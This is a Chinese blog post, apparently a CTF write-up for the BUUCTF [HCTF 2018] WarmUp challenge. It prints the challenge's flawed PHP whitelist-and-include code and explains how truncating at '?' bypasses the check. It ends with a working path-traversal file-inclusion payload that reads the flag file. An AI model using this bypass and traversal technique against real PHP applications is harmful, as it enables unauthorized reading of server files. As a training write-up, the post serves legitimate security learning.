您的位置:首页 > 其它

BUUCTF [HCTF 2018] WarmUp

2020-02-07 14:00 501 查看

开局一张图 直接查看源码

发现注释source.php

访问获得源码

<?php
highlight_file(__FILE__);
class emmm
{
public static function checkFile(&$page)
{
$whitelist = ["source"=>"source.php","hint"=>"hint.php"];if (! isset($page) || !is_string($page)) {
echo "you can't see it";
return false;
}

if (in_array($page, $whitelist)) {
return true;
}

$_page = mb_substr(
$page,
0,
mb_strpos($page . '?', '?')
);

if (in_array($_page, $whitelist)) {
return true;
}

$_page = urldecode($page);
$_page = mb_substr(
$_page,
0,
mb_strpos($_page . '?','?')
);
if (in_array($_page, $whitelist)) {
return true;
}
echo "you can't see it";
return false;
}
}

if (! empty($_REQUEST['file'])
&& is_string($_REQUEST['file'])
&& emmm::checkFile($_REQUEST['file'])
) {
include $_REQUEST['file'];
exit;
} else {
echo "<br><img src=\"https://i.loli.net/2018/11/01/5bdb0d93dc794.jpg\" />";
}
?>

看见还有一个hint.php 访问

flag not here, and flag in ffffllllaaaagggg

看样子 应该flag应该就是在ffffllllaaaagggg里面了

$whitelist = ["source"=>"source.php","hint"=>"hint.php"];
$_page = mb_substr(
$page,
0,
mb_strpos($page . '?', '?')
);

if (in_array($_page, $whitelist)) {
return true;
}

发现只有source.php,hint.php能访问

$_page截取到page从零到问号的字符串
所以我们构造source.php?..或者hint.php?..即可绕过检测

最后REQUEST利用…/…/跳转目录读取flag

最终payload

file=hint.php?/../../../../../../../../ffffllllaaaagggg

访问获得flag

  • 点赞 1
  • 收藏
  • 分享
  • 文章举报
Fstone1 发布了7 篇原创文章 · 获赞 2 · 访问量 292 私信 关注
内容来自用户分享和网络整理,不保证内容的准确性,如有侵权内容,可联系管理员处理 点击这里给我发消息
标签: